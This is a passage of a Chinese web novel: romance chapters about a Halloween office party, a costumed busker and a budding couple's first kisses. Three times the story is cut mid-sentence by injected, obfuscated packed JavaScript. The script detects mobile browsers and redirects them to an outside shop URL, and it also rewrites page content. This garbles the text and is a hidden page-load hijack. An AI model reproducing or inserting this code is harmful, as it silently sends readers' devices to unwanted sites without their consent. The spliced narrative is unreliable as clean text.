崔词意比他更不好意思,他抿嘴又笑,有些孩子气,忒老实地说:“我没听懂。” 看斐然神情诡异,他又为自己找补了一句,“我是实战派,不是理论派。” 那我应该就是笨蛋派傻瓜派自作聪明派,斐然没招了,一下子不知道该说什么,选择往前把额头抵在他肩膀上,不一会儿又笑出声来。 路灯把他们互相依偎的影子拉得很长。 这样相处的点点滴滴是很愉快,可惜不多,斐然大部分时候还是在工作和学习之中忙碌。 今天也是工作日,斐然这段时间会利用午休在公司的健身房里锻炼,大公司的午休时间,健身区域也有不少人,卷是体现在方方面面的。 斐然正在罗马椅上练腰,同事赵前端着保温杯里的蛋白粉走上来,不赞同地打量他,开口道:“斐然,你最应该练的,是胳膊和腿,我经常打眼一看你跟条电线杆似的,还搁那练腰呢。” 斐然不鸟他,单身汉是不会懂的。 至于为什么他第一次谈恋爱就知道要练腰,还要从他自己做的崔词意大数据模型里混入了一本叫《如何讨omega欢心》的六字奇书开始说起。 这本书不算科学,甚至还有很多关于omega的刻板印象,但好在,它对于一些成年人该懂的知识科普又弥补了这一点。 书的第一章标题就是“如何使omega感到□□”,一下子给从小没看过课外书的斐然打开了新世界的大门。 斐然正回想着诸多要点呢,赵前见他不理人,又转个话题,“过几天公司要开万圣节的节庆会了,你打算扮什么?我看吸血鬼就挺适合的,你这黑眼圈都不用画眼妆了。” 此时一个黑眼圈更重,怨气也更重的同事路过,抱怨道:“庆什么会,多放一天假比什么都好。” 赵前哈哈了一声,“孙理你这副样子都不用化妆,直接来就行。” 斐然喝了一口黑咖啡,根本不知道他们在说什么,也不关心,扮来扮去的,不就是一个团建嘛,不知道崔词意会不会来。 本来他都看这个节日热闹,早早发出约会的邀请了,崔词意说没空。 此时的他,万万不会想到,崔词意来了,还是以一种他绝对意想不到的方式来的。 11. 万圣节上的修女 万圣节当天,早上10点。 伴星别墅的房顶上斜放着一个巨大的女巫帽,花园里的管家和佣人们都在有条不紊地在别墅各处布置摆放南瓜灯、幽灵面具以及鲜花和气球。 客厅里的灯具和装饰也纷纷换上了万圣节的色彩装扮,旋转楼梯更是挂了一连串的小幽灵灯,而在旋转楼梯的左边,有一处专门盛放乐器的音乐角,最瞩目的就是那一架占地面积最广的钢琴,旁边是面贴墙的柜子,陈列了一面墙的名贵小提琴,除此之外萨克斯、管风琴和大提琴等各类交响乐器也应有尽有,仿佛随时能在这开场音乐会。 音乐角另一边,传来了麻将碰撞的声音。 随着一声中气十足的“胡了!”,又响起一阵电器抖动声,自动麻将桌开始了新一轮的洗牌。 洗牌的空档,崔词意从口袋里摸出一根烟,咬在嘴里,也不点,像个大爷似的往后倚在了靠背上。 陈衡刚刚被他爸陈管家叫去帮忙抬东西了,回来就看到崔词意面前的筹码已经仅剩可怜的几枚,又输了。 没他在旁边指牌他就不会打了是吧?陈衡啧啧两声,坐回崔词意旁边,随手掏出火机给崔词意点上。 崔词意对桌的女人也给自己点着烟,瞥了崔词意一眼,“崔词意你那手要是不想用就捐了行吗?” 崔词意不接话也没在意,照样我行我素,他在家不管干啥都得挨一顿骂,习惯了。 她右手边的崔尧摸着面前堆积如山的筹码,冲女人笑说:“词慧,大姐呢?你姐打麻将那才叫厉害呢,跟闻殊有得一拼。” 表弟的麻将打得实在太臭了,江湖人称散财童子,赢也赢得没意思。 崔尧对面的女人就是闻殊,崔老二的闺蜜,趁空档给自己和崔词慧掰了瓣橘子,崔词慧指了指嘴上的烟,不接,她便放到她桌边的零食碟上,接了话茬过来,“你们这些生意佬一点政治觉悟都没有,整天就想搞些洋节促消费,那词序就算想回来一趟,看到房顶上那顶女巫帽都得掉头就走。” “什么叫我们这些生意佬,你也是好吗。” 从头到尾,崔词意都没接一句话,趁他们聊天时默默地看牌桌上新鲜出炉的麻将牌,正要拿一张,被闻殊在手背上拍了一下,“小老弟下去,让陈衡来,开局你就已经输了两百个W,你姐估计在心里气吐血了。” 他们约的另一个朋友临时有事来不了,新找的人在路上,等待时间就把崔词意抓来顶岗,不到一小时输个干净。 说到输钱,崔词慧就面带嫌弃地说:“成天一点正事不干,输钱倒是快,练你的琴去,今晚到公司好好表现。” 陈衡找了几下他爸的位置,没见人,就大咧咧地跟这帮为老不尊的一起把最小的少爷赶下桌了。 崔词意不跟他们多说,在众人围攻下慢悠悠起身,坐到对面的小凳子上,拿起小提琴拉起了《二泉映月》。 在这一段凄清哀婉的哀曲中,牌桌上的四个人越打越不是滋味,崔尧和陈衡越听越想笑,崔词慧满脸黑线,手一抖就送了闻殊一张胡牌。 闻殊喜笑颜开,“谢谢慧宝。” 耳边的二泉映月奏得越发起劲,崔词慧闭了闭眼睛,转头说:“你有什么意见能直说吗,别拉了。” 崔词意手没停,倒是伴着BGM开口说了第一句话,“今晚就拉这首。” 崔词慧:“我公司团建你拉这首曲子,什么意思。” 陈衡还是忍不住笑出声了,“为被你压榨的牛马发声呗。” 崔词慧把麻将牌扔得啪啪响,“别逗你慧姐笑了,工人运动开始第一个倒霉的是我,第二个就是他这只米虫被挂路灯。” 崔尧:“没毛病。” 崔词意跟她对视一秒,还真跟她杠上了,音调一转就拉起了《三套车》,如果说二泉映月是对不幸与坎坷的哀叹,三套车就真的是对劳动者艰辛的演绎了,针对性很强,在座的资本家都感觉有被内涵到。 崔词意拉着拉着也绷不住偷偷笑了,自言自语了一句:“今晚还是换这首表演吧。” 崔词慧放下麻将,摆手,“行了不想去你就别去。” 谈笑间一局过去,崔词慧又输了,她把这归咎于还在拉哀乐的崔词意,这会儿已经拉到了流行乐那边,一首《wonderful U》在耳边如泣如诉,她深吸一口气,尽量心平气和地说:“你还想干什么?” 崔词意说:“我要打麻将。” 崔词慧:“你是不是还觉得自己打得挺好的?” 崔词意嘴角微勾,矜持地微微点头。 刚才他只是牌不好,手气差,跟技术没什么关系。 崔词慧呵呵笑了一声,“行,你上来,你技术这么好想必能把输的都赢回来吧,来来来。” 一直看热闹的崔尧插话,“赢不了得有惩罚吧。” 不然赢的钱还不够陪他打麻将的精神损失费。 崔词慧:“当然有!输了你给我到公司楼下当街卖艺去,公司里边的舞台还是太拘束你的才华了。” 闻殊诶诶诶几声,指着手机给崔词慧看,憋笑道:“让他穿这个。” 陈衡在椅子上转身笑他,“你姐要整你呢,怕了没。” 崔词意不知道他要穿什么去当街卖艺,但他还没怕过谁呢,放下小提琴,施施然地起身,一屁股把陈衡挤走,在麻将桌前大马金刀地坐下。 崔尧笑道:“呦呵,架子摆得挺足。” 陈衡没走,还是依旧坐在崔词意旁边,到时候帮他看看牌,别输得太难看了。 其他几人也默认给他一个外援,因为他的牌技真是不忍直视。 但陈衡的牌技,其实也一般。 接下来的几局,崔词意聚精会神,因为他看牌慢,反应也慢,其他几人都是老手了,平时一看崔词意的动作就知道他的牌型,于是都磕起了瓜子零食,兴冲冲地讲起了八卦。 话题无非就是谁家魔丸又投资失败赔了个精光,被家里老头老太勒令在家当个米虫,要么就是有人又涉黄又涉赌活得不人不鬼,把开局一手好牌打成了hard模式。 这么一想,崔词意算是他那批同龄人里挺好的一类了,平时就是有点小脾气,没事打打架,打牌这方面非常垃圾,但私生活和爱好确实挺健康。 于是崔词慧就间歇性后悔了一下,对弟弟这么刻薄是不是不太好,下一秒又被他的逆天牌技气得血压升高,好在闺蜜贴心,又是给剥橘子又是给岔开话题的,还放了不少水,过程还算愉快。 就都这么放水了,崔词意也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154689|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢,新约的麻将搭子来了,他第二次被无情地踢下了麻将桌。 带着他应得的惩罚一起。 这次,他没有再犟头犟脑地到旁边拉琴了,愿赌服输。 今天公司一天都不用上班,大伙都在领万圣节礼品,品尝领导请客送来的各式各样的下午茶,还忙着装扮工位,忙着化妆、用奇装异服打扮自己,氛围十分热闹欢快。 赵前这个大老粗直男甚至还戴上了猫耳朵猫尾巴,扮上猫娘堂而皇之地在人群中搔首弄姿。 可给斐然这个村夫开眼了,手里的咖啡好险没喷出来。 纵观周围,也只有他自己是什么也没打扮的,就普通的衬衫裤子,倒显得格格不入。 原来那天赵前说的打扮是这个意思,太新潮了他是一个古董转世也说不定,不是很能接受,也没有很感兴趣。 斐然想想,又坐到工位上做课题组的项目,他倒是想工作,在其位谋其职,主要是部门组长没派活,而且组长今天穿得最骚,斐然不想面对他更不想跟他说话。 编程的界面一打开,便引来同事们嫌弃的目光,心里不约而同地想:“他在装什么啊?” 晚8点,公司节庆会的节目已经开始了主持人报幕,节目有各部门自己编排的,也有老总请来的乐团和明星,表演之前词典的CEO崔词慧女士还上台致辞了,她扮演的是白雪公主里的皇后,一席大黑袍和背后扇子似的白领子,一上台就引起了欢呼声。 世界纷纷扰扰,斐然只觉得吵闹,恍若遗世独立,浑然不知自己在同事的心目中已经上升到战犯级别,知道他也不在乎,直到10点做完课题实在没什么可干了,瞄了一眼手机微信上的崔词意头像,没有任何消息,便打算下楼,买个面包吃。 楼下也是人山人海,一眼看下去涵盖古今中外的奇人们人挤人挤人,拍照的拍视频的维护秩序的,各种意义上的水泄不通。 斐然正思考着从哪个地方突围去买面包,一阵小提琴的声音从人群中幽幽传进耳朵里。 斐然的脚步一顿,循着琴音寻找那个可能,一步一步,人群浓烈的气味、拥挤的摩擦,都好像远在天边,只有琴音。 找到了。 斐然在某处树荫的角落站定,才抬头看向那个被人们包围的,传来琴音的地方。 崔词意正盘腿坐在台阶上,悠然自得地拉琴,穿着一身修女服。 黑色修身的长袍,隐约凸显了胸肌的轮廓,呼吸起伏间,胸前的护身符闪烁着银光。 领口和帽子那一圈白色似乎带着不可冒犯的圣洁,可高开叉的长袍下,又赫然是白色透肉的长袜。 因为盘腿的姿势,白丝与黑色长袍之间露出一大截被蕾丝勒住的大腿肉,这双白色丝袜对他来说太短、太薄了,结实、丰满的大长腿几乎是一览无遗。 黑与白,形成了极致,又巨大的诱惑。 兜帽下的他带着一副大号黑框眼镜,英俊的脸化上了好几笔浓墨重彩,浓厚的眼妆加苍白的打底,艳红的饱满唇瓣叼着一根烟,脸上没有什么表情,在缕缕上升的烟雾下,神秘和鬼魅共存。 斐然在暗处深深地看着他,眼睛一眨也不眨,胸腔发麻然后蔓延到全身,直到,直到那双眼睛看向了他。 又一次。 12. 《luxurious》 目光相对的刹那,崔词意冲他轻轻歪了头,示意他拉完这首曲子就去找他,让他在原地不要走动。 应该是这个意思吧,斐然心想,我是怎么从一个动作解读出那么长一句话的? 在等待的时间里,斐然必须得让脑子找点别的事情做,才能尽量不把目光放在那双长腿上,因为那样实在显得自己太下流,重点是怕吓到他,他其实是一个乖孩子。 想点什么好呢,从最不擅长的音乐开始吧。 因着崔词意那一眼,斐然耳朵的音乐接收器又开始间歇性、选择性地开始工作了。 崔词意虽然说他不懂乐曲的理论知识,但他对曲子的氛围倒是很有造诣,(他腿根上还有颗痣吗,真是令人意想不到的惊人视力),在造型或者表演上总会对应曲子进行别出心裁的搭配。 今晚是万圣节,百鬼夜行,所以他的选曲也很有些鬼气幽怨,(袜子往上那根不知连接到何处的带子,何意味),还有这套黑白相间的中世纪修女服,对庄严的冒犯与解构就像这个节日,(是不是有一处勾丝了)扮演亡灵,消解恐惧。 我刚才到底想了什么东西。 围观群众们举着手机,咔嚓咔嚓对着崔词意一顿拍,七嘴八舌地凑着热闹,有人语出惊人,有人听歌识曲,还有人打赏零钱。 “他拉的是什么曲子啊?好有感觉诶。” “打雷姐的,salvatore。” “这腿感觉比我的命都长。” “等他拉完能要联系方式吗?” “能是能,给不给另说。” 一曲终了,崔词意把琴收拾好,施施然站起来,在他站直的一瞬间,掌声和惊呼声一同响起,因为他的身形和长相实在是太瞩目了,每走一步,人们就自动让出一段路,而他的目光只是轻轻地略过他们,慢慢地走着,像巨大的君王俯视领地。 “我草,八尺夫人。” “怎么感觉有点像崔词意……” “诶你还真别说。” “崔词意街头卖艺版,哈哈。” “哪个卖艺的不要钱啊,不要我捡了。” 斐然是他的终点站,在众人的注目下,与有荣焉。 崔词意把烟头摁灭在垃圾桶,要去车上放他的琴,他的豪车停在某处可以停车的路边,不过也要走蛮远的路,崔词意脚上穿的是圆头粗跟的玛丽珍鞋,脚背上有蝴蝶结,鞋跟挺高,踢踢踏踏的,他不是很习惯,走几步就甩一下。 斐然停下脚步,低头看他的鞋,“你不累吗?钥匙给我帮你放,你在这等我。” “累。” 斐然不问崔词意还不觉得,一问他就跨下肩膀来了,双臂张开抱住斐然,整个人赖靠在斐然身上,把重量往他身上放。 本来斐然也只比他高可怜的2厘米,崔词意穿高跟鞋又比他高了,不方便揽住肩膀,只好搂上他的窄腰,嘴巴贴着他的侧脸,声音带了点笑意,重复一遍:“钥匙给我呀。” 崔词意不应,好像睡着了似的。 斐然又低声问他:“要我猜啊。” 听听他这语气,好像多无奈似的,手却慢慢开始不客气,沿着腰线往下,路过某处丰润点到为止,再摸到了开叉的裙摆与丝袜之间的绝对领域,慢慢寻找。 他的大腿有些凉意,毕竟是10月底了,夜里温度低,斐然一片好心地,双手握住他的两条大腿,没被衣物覆盖的部分,帮他暖暖。 崔词意见斐然净在一些不可能藏的地方忙活了,不知道他要找到什么时候,于是把身体站直,瞥他一眼,把钥匙丢给他,找了个椅子坐下,往椅背上一靠,点烟,慵懒地说:“去吧,往前面一直走就是了。” 斐然“嗯”了一声,突然又向崔词意走了几步,向崔词意俯身,像是要吻他。 崔词意显然还没做好first kiss的准备,先是看了一眼手上的烟,视线又向侧边撇开,显得有些无措。 岂料,斐然只是把手放在他惯常坐着叉开的大腿上,帮他把双腿合上,然后笑眯眯地看着他,不说话。 两人对视一会儿,崔词意把一条腿搭在另一条腿上,再安全不过的姿势,嘟囔了一句:“知道了。” 斐然摸摸他的头,给他顺毛,这才背着他的琴朝反方向走去。 一个被捏扁的啤酒罐被扔到了崔词意脚下。 “嗯?我去……” 卢月带着一身酒气踉踉跄跄地走近,瞪大眼睛打量着崔词意这一身的装扮,不敢相信,又揉了揉眼睛。 我靠,你早这样我都不会跟你作对,我把你供起来,当菩萨。 酒壮怂人胆,他有心想调戏他两句,刚要开口,就看见崔词意吸了一口烟,拿眼看他,慢悠悠地说:“说话之前,想想你有几个爹经得起草。” 卢月的目光瞬间清澈了起来。 算了算了,这么没素质的人,不跟他一般见识,他转身离去,一句话都没说。 崔词意在他背后伸出脚,把啤酒罐精准地踢到了他的后脑勺上。 “哎呦!”卢月捂着头叫了一声。 踢完,崔词意还远远说了句,“注意你的素质。” 砸脑门上了,不疼,但侮辱性极强,卢月心下只觉得不可置信,荒谬啊,最没有素质的人竟然叫他注意素质,且不说这个啤酒罐只是我没扔中垃圾桶,但目的地依旧是垃圾桶,而且我再怎么没素质,也没问候过你亲爹吧? 卢月窝囊地把啤酒罐捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154690|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,主要是怕他追上来再补一脚,君子不立危墙,没必要给他留作案工具。 好巧不巧,在路上又碰到了放琴后折返回来的斐然,但是斐然没看见他,只是看着远处崔词意的方向,看起来心情不错。 他俩倒是处得挺好,哼,等他姐知道有你好受的,追了斐然这么久都没得到他一个颜色,他心里还是有点恨他的,不知道出于什么心态,卢月又隐蔽行踪跟了上去。 卢月隐在角落,看到斐然一出现,崔词意就站了起来,到垃圾桶旁边灭烟,两个人越走越近,在一颗大树下站定,崔词意忽然伸手拿起斐然胸前的工牌,脸上露出一点惊讶。 不是吧大哥,谈这么久不知道斐然在你家公司实习吗?卢月腹诽道。 附近不知道谁在拍抖音擦边段子,一段《luxurious》反复播放,大晚上的,挑逗缠绵的BGM倒是非常衬情,如果那两个越靠越近快要吻上的不是他的仇人就好了。 心里越恨,就越是着魔地盯着他们看。 看着斐然果然侧着头去吻崔词意,却不是先吻上他涂抹得鲜艳的唇,而是嘴角温柔地印在了崔词意失明的右眼上,好像这不是一种残缺,而是多么值得珍惜的宝物。 然后他才一路往下,向那片润红靠近,嘴巴相触的那一刻,两个人都是一顿,随即越吻越深,越来越投入。 斐然甚至用手握住崔词意的一条长腿,让他抬高起来,盘在自己腰间。 而崔词意,竟也愿意听从。 男人白皙修长的手,从被白丝裹住的小腿一路向上摩挲,最后停在肉/色的交界处,五指/深/陷进腿肉里。 不知时间过去多久,他们依旧吻得很深,像是第一次玩到游戏的孩子,不知疲倦地探索每一个心气角落。 卢月不知道他到底在这干嘛,愤恨地转身离去前,心思一动,拿出了手机,给这对热吻中的情侣拍下了照片,然后一键发送给了崔词慧,还附赠了一条语音,“你还不知道吧?你弟正跟穷鬼谈恋爱呢,小心被吃绝户。” 此刻正在公司加班的崔词慧看了一眼手机,只点了语音转文字,她最烦发语音的人。 看完消息,又毫不在意地往桌上一丢,继续工作。 这卢月,自己蠢还以为别人都是傻子,多大了还玩告状这一套,难道他以为她会帮着他对付亲弟? 至于事情本身,呵呵,时间一长,有的人自会意识到什么叫云泥之别,高不可攀,谈超过一年都算他们了不起,恋爱中大大小小的节日、纪念日,各种你来我往的礼物,跟长辈的礼节应酬,甚至崔词意的一日三餐、娱乐活动,都不是穷人能支付起的。 说刻薄点,连崔词意整天盘的那只壁虎,对方都养不起。 13. 销冠附体 夜深了,马路上的人群闹到12点,渐渐散了场。 树荫下的一对恋人,吻了又吻,再吻,缠绵地吻,激烈地吻,玩闹地吻,吞咽声和口水声,第一次第二次第三次……第不知道多少次,崔词意才有些不满地推着斐然的肩膀,把自己从斐然嘴上拔了下来。 两人都气喘吁吁着,唇瓣亮晶晶的,还晕染了口红的颜色,崔词意尤其遭重,从上巴到下巴,双唇边缘蔓延了一圈,本就被啃得红肿的嘴巴更加显眼。 斐然见状,一只手从他大腿上松开,手指抚上他的唇,一边描摹形状一边不解地问:“怎么了?” 跟小花猫似的。 怎么了?崔词意默默看他一眼,没有说话,又接着,把他的另一只手,从自己大腿上拔下来,然后踉跄了一下,他现在站都有点站不稳。 因为他感觉斐然简直是往死里拧他大腿。 他打群架都没受过这么严重的伤。 还好意思问怎么了。 斐然连忙扶住他,把他带到旁边的椅子上,“是脚累吗?” 崔词意坐下,还是习惯性地双腿叉开。 斐然也无暇指正,只是蹲下来,握住崔词意的脚腕,想帮他从高跟鞋中解放,想来除了鞋子也没有其他原因,可还没等他研究明白鞋上的蝴蝶结系带,稍一抬头,却留意到了他腿根上斑驳的指痕,显然是自己的杰作,斐然一愣。 怪不得。 本来吻得好好的。 斐然一点一点地抬头,试图悄悄观察上方的脸色。 终于目光相触,只见崔词意目光炯炯地看着他,还伸脚轻轻踢了踢斐然的肚子上方,鞋尖虚虚抵在上面,幽幽来了句,“你跟我有仇啊?” 斐然抓着他的脚腕,闷笑几声,摇头,“没仇,是我太不礼貌,你大可以‘礼尚往来’,也对付回来。” 对付回去,崔词意确有此意,但还没想好怎么对付,就被他说出来,反倒落于下风,显得他多大度似的,明明是他先动手的。 于是崔词意略昂了昂首,下巴抬高,“我跟你不同,我一向有风度。” 斐然应道:“当然了。” 世上如我这般卑劣的男人也确实不多,你肯定不是。 说完,斐然似乎又偷偷笑了,胸腔的震动透过鞋尖传来,崔词意脚腕被握住的那一圈温度烫得吓人。 对付不必急于一时,崔词意便把脚收了收,可斐然竟还不让,反而目光灼灼地望着他。 斐然:“其实那天你帮我解围的时候,我就想这样了。” 斐然还真的蛮想知道被他睥睨会是什么感觉,就是崔词意没给过他这个机会。 有时候长得太善良也是一种烦恼,估计他们第一次见面他就被崔词意判定成人畜无害了,对他说话都和颜悦色。 崔词意不知道他指的是什么,有些疑惑,脑袋歪了下。 然后他就看到,斐然维持着半蹲的姿势,手动转移了他的小腿位置,让他一只脚踩在了自己的肩上。 正如那天他踩在邱为肩膀上一样。 如果他穿的是正经衣服,那这副姿态确实起到折辱人的作用,但可惜,他穿得不正经。 开衩的黑色裙摆只堪堪遮住了重点,腿上的吊带透肉长袜也已经在某人的努力下有些松垮,倒更像是门户大开,请君入瓮一样。 崔词意也没意识到,只觉得好玩,歪了歪嘴角,俊脸露出玩味的神情,玩闹般在斐然的肩上加重踩了几下,果然把斐然踩得矮身下去,直到斐然埋头,薄唇吻上他腿根内侧的痣,极亲密的,把他唬了一大跳。 腿上濡湿的感觉让崔词意脸色稍变,立即把他的脑袋推开,噌地站起来,左右看了看,“真胡闹!”他抱怨道。 斐然也是头脑一热,学习了太多理论知识的处/男一上头其实也不知道自己会做什么,但做也做了,后悔无用,倒是难得看见崔词意这么慌张,也站起来,装作不知所措的样子,拉了下崔词意的手。 崔词意看了他一眼,见他知错,也没抗拒牵手,“以后不许这样了,我们回去吧,很晚了。” 斐然看着他有些发抖的大腿,又在崔词意面前微微俯身,“我背你走,上来。” 有人伺候,崔词意当然乐意,打量他几眼,“你行吗?” 斐然扯了扯嘴角,“行不行,试试就知道了。” 你有的是机会试。 崔词意不知道刚才车已经开到他脸上了,也不跟斐然客气,做了个起跳动作,直接跳上了斐然的背,斐然虽然被他突然袭击压弯下了腰,往前走了几步,但也还是稳稳托住了他的双腿。 好家伙,好有力气的宝宝。 崔词意车上的副驾驶放了琴,斐然便把好大一只的宝宝塞进了后座,再绕到主驾驶开车。 刚要系安全带,后座本来老实躺着的崔词意打开前置摄像头照了照,又熄屏,坐起身来从后座伸手绕斐然的脖子。 “怎么了?要喝水吗?” 斐然暂停下手里的动作,也回握住他的手,回头就看到崔词意凑个脑袋过来,嘴巴在斐然的白衬衫领口一顿乱蹭,接近于吻。 斐然被他蹭得笑起来,用手掌住他的头毛,夸奖他,“真聪明。” 当晚,斐然是顶着一领口的口红印回学校的,当天因为是节日,学校门禁推迟了,斐然顺利进门,好在大家差不多都熄灯上床了,没人看见他的模样,一路通畅走到宿舍门口,花臂哥正好开门,看清之后气愤地怒瞪斐然,压低声音说:“斐然你要脸吗?既然打算追崔词意就不要三心二意!” 追?斐然瞥了他一眼,心情很好地说:“那你去跟崔词意告状,如果你有他联系方式的话。” 你有吗? 花臂气急,怎么有这种人,我去!你别给我找着机会你! 关上门,洗了澡,斐然在阳台欣赏了一会儿衬衫上某人的杰作,估计这就是崔词意想出来的“礼尚往来”,还真算是有风度了,他还以为他会给他来上几脚。 躺在床上也没什么睡意,掏出手机,点开微信旁边的壁虎图标,他在手机上也搞了个崔词意模型,把今晚的事件输入进去,模型得出结论:“事件起因:色欲熏心/饿狼转世;逻辑:Omega都矜持;结论:崔词意好感减50;建议:循序渐进并且在公共场合注意素质。” 长按,卸载,看来这个模型没练好。 还减50,你以为你真是崔词意家里那只壁虎啊? 斐然又双手交握躺平,好在长夜漫漫,崔词意又发了一张图片过来。 小图没注意看是啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154691|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就点开了,以为是崔词豆,图片放大后斐然一下就坐了起来。 是崔词意的光大腿照,点击保存。 就分别一会儿的功夫,他大腿上已经泛起了青青紫紫的痕迹,他发过来是为了讨伐斐然的。 崔词意:崔词豆无语.gif 斐然:涂点药吧?要不我明天去你家看看你 崔词意:看什么 斐然:看看严不严重,帮你上药 崔词意:我没有手吗 斐然:…… 斐然:崔词豆流汗.jpg 崔词意:崔词豆微笑.jpg 最近李田田在拼dd上抢到了一张懒人沙发优惠券,也没啥特别的,就是一个凹进去的椭圆形,买二送一,如果凑够三个人买,总价钱除以3对一个大沙发来说约等于不要钱,于是去鼓动了一整层的人,可只有一向大大咧咧的花臂愿意跟他一起,因为大家都觉得便宜没好货,不是说这帮研究生有钱的意思,而是这个便宜已经有点突破底线了。 这个便宜占不到让李田田真是浑身不舒服,于是他就开始洗脑斐然。 斐然一开始也不想要,因为他宿舍里除了自己的书桌椅以外一张凳子都不放就是不想让别人长时间逗留在他宿舍里。 凳子都不放,更别提沙发这种坐得舒服的玩意了。 来了就给我老老实实罚站。 但李田田每到这种时候就销冠附体,他不说别人,就说崔词意。 “恋爱谈美了,可不得邀请崔词意来宿舍坐坐啊,要是没地方坐是不是不太礼貌?你又不让别人坐你床。” 斐然心想,是不让你们坐我床,崔词意可以坐,不仅可以,还热烈欢迎。 恋爱中的男人可太好懂了,李田田看斐然脸色就知道他在想什么了,又说:“崔词意一看就特别懂礼貌是不是,他第一次来怎么好意思坐你床呢?” 且不说那家伙懂不懂礼貌和好不好意思,斐然视线落到自己的书桌前,那不是还有我的书桌椅给他坐吗? 李田田:“你那书桌椅多少年前的老古董了,还是木头做的,又冷又硬又不结实。” 斐然又想,那我可以先坐上去,我的大腿不冷也不硬,还算结实。 李田田:“刚进门不得先客套客套啊?哪有坐大腿寒暄的。” 斐然点点头,也是,然后突然一愣,“我刚才说话了吗?” 怎么句句心声都有来有往啊? 李田田偷笑一声,这斐然平时装断情绝爱那小词一套一套的,还不是被忽悠瘸了! 斐然想想还是有点犹豫:“我怕这个质量不好。” 买来也是只给崔词意坐的,平时肯定要收起来。 李田田也是服了,“好着呢,没降价没搞活动前好几百块,讲道理,咱平时买一件衣服超过一百的都不多,你们平时抱抱的时候怎么不担心衣服质量把他吓死呢?再说了,你那床单还没一百呢,难道你们不打算去床上……一起玩手机啊。” 也对,不过斐然不喜欢玩手机。 总之这一套扯下来,李田田成功让斐然跟他一起买下了沙发。 谁承想,命运就此埋下伏笔! 没过几天,沙发到货了,斐然就开始盘算怎么把崔词意骗到宿舍来做客。 14. 穷人命真硬 星期五晚上,斐然洗了个香喷喷的澡,沐浴露和洗发水都用了平时两倍的量,收拾得容光焕发才给崔词意发了条信息。 斐然:生病了(QAQ) 突然手机屏幕的界面自动切换,显示崔词意来电。 斐然嘴角都压不住,本来他一边装可怜还一边好端端地坐在电脑桌前,跟花臂在课题组群里武德充沛地干架呢,导师劝几句劝不住,干脆让他们吵,反正只是观点分歧不是私人恩怨,开会的时候他们也这样,习惯了。 崔词意一打电话来,他便拿着手机躺到床上平躺,一手捂着肚子一手拿着手机,找找生病的状态。 “喂?哪里不舒服?” 电话那头传来崔词意好听的声音,开头只是一句简单的问候,不知道为什么,斐然就已经感到有些鼻酸,心里不知道被什么萦绕着,很温暖但又有些说不出的渴望,他想看见他,拥抱他。 奇怪,只知道生病会脆弱,假装生病也会吗? 那些已经备好草稿,精心矫饰过的说辞突然都忘了,他忍不住说了心里话。 斐然:“哪里都不舒服,想抱着你。” 崔词意明显顿了一下,说:“我先带你去医院吧。” 糟糕,斐然赶快找回理智,开始瞎编,“没什么大问题,就是难受,我就想见见你而已。” 崔词意很坚持:“我又不是医生,见我可以,但也要去见医生。” 坏了,什么时候变得这么不好骗了? 斐然干脆语气有些耍赖了,“不想去,我不喜欢医院。” 才怪,他对医院咩有任何意见,只是很多爱情小说有这个桥段,直接拿来主义。 崔词意无奈,“那我带家庭医生去看你。” 怎么还有这种工种。 一个谎果真需要用无数的谎来圆,斐然只好真假掺半地说:“我其实去过校医室了,就是想骗你来看看我,你来了,我就好了。” 说到骗这个字时,崔词意那边就叹了口气,于是斐然的声音就越来越小,显得有些可怜。 一不小心,斐然就自己挂断了电话,崔词意也没有再打过来,斐然盯着没有动静的微信界面良久,用被子蒙住头,只感觉喘不过气来,满心都是失落。 又不是第一天知道,他不懂体贴也不懂照顾别人,这种理由找得太烂了,还不如大大方方地请他来做客呢。 11月的天气还时冷时热,今晚特别闷热,看来,准备有雨要下。 果然,没过多久,草木腥气夹着水汽从阳台飘进了室内,如果是大雨,雨水很可能会从阳台灌进来,再大一点,甚至会穿过走廊从门边的窗户打进来。 该收衣服了,该关窗了,该关阳台的玻璃门了,斐然对自己说,但却一动不动。 宿舍外突然传来动静不小的喧哗与骚动。 真无聊,这帮男的就算飘过来一个塑料袋也会在那里大呼小叫呼朋唤友,像没开智的猿猴,不知道有什么好乐的。 门窗被风吹得阵阵响,影响到了他的自怨自艾,斐然到底还是坐了起来。 不曾想,突然一张英俊的脸蛋从窗户侧边探了出来,是那个斐然在背后说他不懂体贴、不懂照顾人的家伙。 等下我会跪着吻你,以此赎口舌之罪。 整个世界都好像因此鲜活,斐然下床开门的途中,感觉手脚都不是自己的了。 